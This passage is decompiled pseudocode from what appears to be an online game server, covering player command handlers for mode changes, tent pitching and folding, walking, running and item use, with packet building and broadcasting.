44); *(_WORD *)v9 = *((_WORD *)v4 + 69772); *(_BYTE *)(v9 + 2) = *((_BYTE *)v4 + 139546); *((_BYTE *)v4 + 139547) = 0; v5 = -1; } v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8201; *((_WORD *)v10 + 1) = handle; v10[4] = **((_BYTE **)v4 + 892); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v11 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v16) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v12, v11, 0, 0, (int)&alchat, 0, 65535); v13 = *((_DWORD *)v4 + 8040) + 80; *(_WORD *)v13 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v13 + 2) = byte_130BDA42; LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"; LABEL_16: --funcallanalizer.fca_stackpoint; v16 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } // 130BDA40: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 130BDA42: using guessed type char byte_130BDA42; //----- (0044B280) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // eax@7 int v6; // ebp@9 int v7; // eax@9 int v8; // edx@10 int v9; // eax@11 int v10; // edx@12 char *v11; // eax@13 int v12; // ecx@13 int v13; // eax@13 int v14; // eax@13 unsigned int v15; // eax@13 int v16; // edx@13 int v17; // eax@13 int v18; // [sp-18h] [bp-44h]@9 int v19; // [sp-14h] [bp-40h]@9 int v20; // [sp-10h] [bp-3Ch]@9 int v21; // [sp-Ch] [bp-38h]@9 int v22; // [sp-8h] [bp-34h]@9 int v23; // [sp-4h] [bp-30h]@9 FunctionEntarance _; // [sp+10h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@13 int v26; // [sp+28h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v26 = 0; if ( !(_S15_3 & 1) ) { _S15_3 |= 1u; cmc_27.cmc_AllowMode = 6; atexit(_E16_4); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_27.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 40, 2690); LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ"); return; } if ( *((_BYTE *)v4 + 7428) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 3464))(v4) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 40, 2694); goto LABEL_17; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 150) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 40, 2692); goto LABEL_17; } v6 = *(_DWORD *)((char *)v4 + 78); v23 = 65535; v22 = 0; v18 = (int)ShineObjectClass::ShineObject::so_TentPoint; v19 = 0; v20 = 0; v21 = 0; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); if ( ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, (char *)0x190, 0, v18, v19, v20, v21, v22, v23) ) { v9 = *((_DWORD *)v4 + 8040) + 80; *(_WORD *)v9 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v9 + 2) = byte_130BDA42; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2256))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2644))(v4); v23 = *((_DWORD *)v4 + 8040) + 29; *((_DWORD *)v4 + 35098) = ShineObjectClass::ShinePlayer::sp_RecoverPoint_House; BriefInfoBackup::bib_Backup((BriefInfoBackup *)((char *)v4 + 139500), (CHARBRIEFINFO_NOTCAMP *)v23); v23 = *((_DWORD *)v4 + 8040) + 29; if ( ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo(v4, v23) ) { **((_BYTE **)v4 + 892) = 4; v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8233; *((_WORD *)v11 + 1) = handle; v12 = *((_DWORD *)v4 + 8040) + 29; v11 += 4; *(_DWORD *)v11 = *(_DWORD *)v12; *((_DWORD *)v11 + 1) = *(_DWORD *)(v12 + 4); *((_WORD *)v11 + 4) = *(_WORD *)(v12 + 8); LOBYTE(v12) = *(_BYTE *)(v12 + 10); v23 = 15; v11[10] = v12; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, v23); v13 = *(_DWORD *)((char *)v4 + 78); v23 = 65535; v22 = 0; v21 = (int)&alchat; v20 = 0; v19 = 0; v18 = v13; LOBYTE(v26) = 1; v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v14, v18, (char *)v19, v20, v21, v22, v23); v15 = clockwatch.cw_CurrTick; v16 = *(_DWORD *)v4; *((_DWORD *)v4 + 893) = clockwatch.cw_CurrTick; *((_DWORD *)v4 + 894) = v15; (*(void (__thiscall **)(void *))(v16 + 3400))(v4); v17 = *(_DWORD *)v4; v23 = 2689; v22 = 40; v21 = 8; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v17 + 776))(v4, 8, 40, 2689); LOBYTE(v26) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { v10 = *(_DWORD *)v4; v23 = 2693; v22 = 40; v21 = 8; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v10 + 776))(v4, 8, 40, 2693); v23 = *((_DWORD *)v4 + 8040) + 29; BriefInfoBackup::bib_Restore((BriefInfoBackup *)((char *)v4 + 139500), (CHARBRIEFINFO_NOTCAMP *)v23); } } else { v8 = *(_DWORD *)v4; v23 = 2691; v22 = 40; v21 = 8; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v8 + 776))(v4, 8, 40, 2691); } v26 = -1; FunctionEntarance::_FunctionEntarance(&_); } // 130BDA40: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 130BDA42: using guessed type char byte_130BDA42; //----- (0044B590) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // ebp@1 int v6; // eax@3 void *v7; // edi@5 int v8; // edi@6 char *v9; // eax@7 int v10; // ST18_4@7 int v11; // ebx@7 int v12; // esi@7 int v13; // eax@7 int v14; // eax@8 int v15; // eax@8 int v16; // ST04_4@9 int v17; // eax@9 int v18; // eax@9 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@9 int v20; // [sp+24h] [bp-4h]@1 v5 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( !(_S17_6 & 1) ) { _S17_6 |= 1u; cmc_28.cmc_AllowMode = 16; atexit(_E18_7); } v6 = *(_DWORD *)(v5 + 3568); if ( (1 << *(_BYTE *)v6) & cmc_28.cmc_AllowMode ) { *(_DWORD *)(v5 + 140392) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *(_BYTE *)v6 = 1; v7 = (void *)(*(_DWORD *)(v5 + 32160) + 29); if ( *(_BYTE *)(v5 + 139547) ) { memcpy(v7, (const void *)(v5 + 139500), 0x2Cu); v8 = (int)((char *)v7 + 44); *(_WORD *)v8 = *(_WORD *)(v5 + 139544); *(_BYTE *)(v8 + 2) = *(_BYTE *)(v5 + 139546); *(_BYTE *)(v5 + 139547) = 0; } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8236; *((_WORD *)v9 + 1) = handle; v10 = a2; v11 = (int)(v9 + 4); v12 = *(_DWORD *)(v5 + 32160) + 29; memcpy(v9 + 4, (const void *)v12, 0x2Cu); v12 += 44; *((_WORD *)v9 + 24) = *(_WORD *)v12; v9[50] = *(_BYTE *)(v12 + 2); v13 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v5 + 1176))(v5, v10); if ( (((unsigned int)*(_BYTE *)v11 >> 2) & 0x1F) != (*(int (__thiscall **)(int))(*(_DWORD *)v13 + 48))(v13) ) { v14 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1176))(v5); (*(void (__thiscall **)(int))(*(_DWORD *)v14 + 48))(v14); v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1176))(v5); *(_BYTE *)v11 ^= (*(_BYTE *)v11 ^ 4 * (*(int (__thiscall **)(int))(*(_DWORD *)v15 + 48))(v15)) & 0x7C; } AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)((char *)&alchat + 4), &gpp, 51); v16 = *(_DWORD *)(v5 + 78); v17 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v5, v17, v16, 0, 0, (int)&alchat.alpb_packet, 0, 65535); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 43); v18 = *(_DWORD *)(v5 + 32160) + 80; *(_WORD *)v18 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v18 + 2) = byte_130BDA42; LOBYTE(v20) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ"); } else { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 43, 2690); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ"); } } // 44B590: could not find valid save-restore pair for ebx // 130BDA40: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 130BDA42: using guessed type char byte_130BDA42; //----- (0044B7D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD(void *this, int netcmd, int movedirect, __int16 handle) { int v4; // esi@1 int v5; // eax@10 int v6; // ebp@13 unsigned int v7; // ebx@13 int v8; // edi@13 int v9; // eax@13 int v10; // ecx@13 int v11; // eax@19 bool v12; // zf@26 char *v13; // ecx@27 int v14; // eax@27 int v15; // ecx@27 int v16; // ST04_4@27 int v17; // eax@27 int v18; // edx@27 FunctionEntarance _; // [sp+10h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@27 int v21; // [sp+28h] [bp-4h]@1 signed int netcmda; // [sp+30h] [bp+4h]@15 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; if ( !(_S19_13 & 1) ) { _S19_13 |= 1u; cmc_29.cmc_AllowMode = 70; atexit(_E20_11); } if ( (1 << **(_BYTE **)(v4 + 3568)) & cmc_29.cmc_AllowMode && !(*(_BYTE *)(v4 + 7428) & 4) && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 3464))(v4) && (!*(_DWORD *)(v4 + 264) || *(_DWORD *)(v4 + 236) != 3) ) { if ( !*(_DWORD *)(v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); v21 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2256))(v4); v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1320))(v4); List::l_4AllInList( (List *)(v5 + 3240), AbnormalStateContainer::AbstateElementInObject::aeo_Walk); if ( ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack((ShineObjectClass::ShinePlayer::TimeScheduler *)(v4 + 143172)) && !*(_BYTE *)(v4 + 143280) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 3400))(v4); NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear((NormalAttackDamageDelay::NormalAttackDamageTick *)(v4 + 66156)); } ShineObjectClass::ShinePlayer::sp_SkillShiftCancel((void *)v4); v6 = netcmd + 2; v7 = (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1296))(v4); v8 = netcmd + 10; v9 = *(_DWORD *)(netcmd + 2) - *(_DWORD *)(netcmd + 10); v10 = *(_DWORD *)(netcmd + 6) - *(_DWORD *)(netcmd + 14); if ( v9 * v9 + v10 * v10 <= 1000000 ) { if ( *(_BYTE *)(netcmd + 18) & 1 ) { netcmda = 1; v7 = (unsigned int)(unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1300))(v4) >> 1; } else { netcmda = 0; } if ( *(_DWORD *)v6 != *(_DWORD *)v8 || *(_DWORD *)(v6 + 4) != *(_DWORD *)(v6 + 12) ) { if ( !ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_From(v4, v6) || !ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, v8) || !ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, *(_DWORD *)(v4 + 78)) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 3500))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2648))(v4); goto LABEL_22; } v12 = ShineObjectClass::ShinePlayer::sp_MovePathBlockCheck((void *)v4, *(_DWORD *)(v4 + 78), v8, 2) == 1; v11 = *(_DWORD *)v4; if ( !v12 ) { (*(void (__thiscall **)(int, int, unsigned int, signed int, signed int))(v11 + 1624))(v4, v8, v7, 1, netcmda); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 3320))(v4, 1); v13 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8216; v14 = (int)(v13 + 2); *((_WORD *)v13 + 1) = *(_WORD *)(v4 + 4); v15 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v14 + 2) = *(_DWORD *)v15; *(_DWORD *)(v14 + 6) = *(_DWORD *)(v15 + 4); *(_DWORD *)(v14 + 10) = *(_DWORD *)v8; *(_DWORD *)(v14 + 14) = *(_DWORD *)(v8 + 4); *(_BYTE *)(v14 + 20) ^= (*(_BYTE *)(v14 + 20) ^ *(_BYTE *)(v6 + 16)) & 1; *(_WORD *)(v14 + 18) = v7; ShineObjectClass::ShineMobileObject::smo_SetMovePacket(v4, 24, v14); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 23); v16 = *(_DWORD *)(v4 + 78); LOBYTE(v21) = 1; v17 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v4, v17, v16, 0, 0, (int)&alchat, 0, 65535); v18 = *(_DWORD *)(v4 + 32160) + 80; *(_WORD *)v18 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v18 + 2) = byte_130BDA42; LOBYTE(v21) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_22; } } else { v11 = *(_DWORD *)v4; } (*(void (__thiscall **)(int))(v11 + 3500))(v4); } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2648))(v4); LABEL_22: v21 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD"); } // 130BDA40: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 130BDA42: using guessed type char byte_130BDA42; //----- (0044BB60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD(void *this, int netcmd, int movedirect, __int16 handle) { int v4; // esi@1 int v5; // eax@13 unsigned int v6; // ebx@13 int v7; // ebp@13 int v8; // edi@17 int v9; // ecx@17 int v10; // eax@23 bool v11; // zf@30 char *v12; // ecx@31 int v13; // eax@31 int v14; // ecx@31 int v15; // ST04_4@31 int v16; // eax@31 int v17; // edx@31 FunctionEntarance _; // [sp+10h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@31 int v20; // [sp+28h] [bp-4h]@1 signed int netcmda; // [sp+30h] [bp+4h]@19 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( !(_S21_1 & 1) ) { _S21_1 |= 1u; cmc_30.cmc_AllowMode = 70; atexit(_E22_1); } if ( (1 << **(_BYTE **)(v4 + 3568)) & cmc_30.cmc_AllowMode && !(*(_BYTE *)(v4 + 7428) & 4) && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 3464))(v4) && (!*(_DWORD *)(v4 + 264) || *(_DWORD *)(v4 + 236) != 3) ) { if ( !*(_DWORD *)(v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); LABEL_10: v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2256))(v4); if ( **(_BYTE **)(v4 + 3568) == 6 && *(_BYTE *)(v4 + 143164) ) goto LABEL_10; v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1320))(v4); List::l_4AllInList( (List *)(v5 + 3240), AbnormalStateContainer::AbstateElementInObject::aeo_Run); v6 = (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1300))(v4); v7 = netcmd + 2; if ( ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack((ShineObjectClass::ShinePlayer::TimeScheduler *)(v4 + 143172)) && !*(_BYTE *)(v4 + 143280) && !(*(_BYTE *)(netcmd + 18) & 1) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 3400))(v4); NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear((NormalAttackDamageDelay::NormalAttackDamageTick *)(v4 + 66156)); } ShineObjectClass::ShinePlayer::sp_SkillShiftCancel((void *)v4); *(_DWORD *)(v4 + 143136) = clockwatch.cw_CurrTick; v8 = netcmd + 10; v9 = *(_DWORD *)(netcmd + 6) - *(_DWORD *)(netcmd + 14); if ( (*(_DWORD *)(netcmd + 2) - *(_DWORD *)(netcmd + 10)) * (*(_DWORD *)(netcmd + 2) - *(_DWORD *)(netcmd + 10)) + v9 * v9 <= 1000000 ) { if ( *(_BYTE *)(netcmd + 18) & 1 ) { netcmda = 1; v6 = (unsigned int)(unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1300))(v4) >> 1; } else { netcmda = 0; } if ( *(_DWORD *)v7 != *(_DWORD *)v8 || *(_DWORD *)(v7 + 4) != *(_DWORD *)(v7 + 12) ) { if ( !ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_From(v4, v7) || !ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, v7 + 8) || !ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, *(_DWORD *)(v4 + 78)) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 3500))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2648))(v4); goto LABEL_26; } v11 = ShineObjectClass::ShinePlayer::sp_MovePathBlockCheck((void *)v4, *(_DWORD *)(v4 + 78), v7 + 8, 2) == 1; v10 = *(_DWORD *)v4; if ( !v11 ) { (*(void (__thiscall **)(int, int, unsigned int, signed int, signed int))(v10 + 1624))( v4, v7 + 8, v6, 2, netcmda); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 3320))(v4, 1); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8218; v13 = (int)(v12 + 2); *((_WORD *)v12 + 1) = *(_WORD *)(v4 + 4); v14 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v13 + 2) = *(_DWORD *)v14; *(_DWORD *)(v13 + 6) = *(_DWORD *)(v14 + 4); *(_DWORD *)(v13 + 10) = *(_DWORD *)v8; *(_DWORD *)(v13 + 14) = *(_DWORD *)(v7 + 12); *(_BYTE *)(v13 + 20) ^= (*(_BYTE *)(v13 + 20) ^ *(_BYTE *)(v7 + 16)) & 1; *(_WORD *)(v13 + 18) = v6; ShineObjectClass::ShineMobileObject::smo_SetMovePacket(v4, 26, v13); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 23); v15 = *(_DWORD *)(v4 + 78); LOBYTE(v20) = 1; v16 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v4, v16, v15, 0, 0, (int)&alchat, 0, 65535); v17 = *(_DWORD *)(v4 + 32160) + 80; *(_WORD *)v17 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v17 + 2) = byte_130BDA42; LOBYTE(v20) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_26; } } else { v10 = *(_DWORD *)v4; } (*(void (__thiscall **)(int))(v10 + 3500))(v4); } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2648))(v4); LABEL_26: v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD"); } // 130BDA40: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 130BDA42: using guessed type char byte_130BDA42; //----- (0044BF10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendMoveFail(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // ecx@1 int v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendMoveFail"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SendMoveFail"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8219; v3 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v2 + 2) = *(_DWORD *)v3; *(_DWORD *)(v2 + 6) = *(_DWORD *)(v3 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_SendMoveFail : Packet Too Long", 10); } (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2644))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendMoveFail"); } //----- (0044C000) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@5 int v6; // eax@8 DiceTaiSai *v7; // eax@13 DiceTaiSai *v8; // ebx@13 int v9; // eax@14 int v10; // eax@15 unsigned __int16 v11; // ax@15 char v12; // al@16 int v13; // eax@17 UseEffect::UIE_Functions *v14; // eax@18 ItemUseEffect *v15; // eax@19 int v16; // ebx@21 char v17; // al@27 int v18; // eax@28 char v19; // al@29 int v20; // eax@30 int v21; // ST04_4@31 int v22; // eax@31 int v23; // eax@35 char *v24; // [sp+Ch] [bp-2Ch]@4 FunctionEntarance _; // [sp+1Ch] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+20h] [bp-18h]@31 int v27; // [sp+34h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v27 = 0; if ( !(_S23_4 & 1) ) { _S23_4 |= 1u; cmc_31.cmc_AllowMode = 70; atexit(_E24_5); } if ( (unsigned __int8)(*(int (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 2940))(v4, 0) != 1 ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8296; if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_31.cmc_AllowMode) ) { *((_WORD *)v5 + 1) = 7209; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { LABEL_7: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5); v27 = -1; LABEL_37: v24 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"; goto LABEL_38; } v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); LABEL_12: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); v27 = -1; goto LABEL_37; } if ( !*(_DWORD *)((char *)v4 + 98) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Invalid map", 0); *((_WORD *)v5 + 1) = 7209; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) goto LABEL_7; v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); goto LABEL_12; } (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2256))(v4); v7 = (DiceTaiSai *)(*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 14259))( (char *)v4 + 57036, *(_BYTE *)(netcmd + 2)); v8 = v7; if ( !v7 || (MoveManager::MoveManager(v7), !v9) ) { *((_WORD *)v5 + 1) = 7210; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v23 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v23 + 12))(v23, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5); } v27 = -1; goto LABEL_37; } MoveManager::MoveManager(v8); v11 = *(_WORD *)(v10 + 8); if ( v11 == -1 ) { *((_WORD *)v5 + 1) = 7210; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 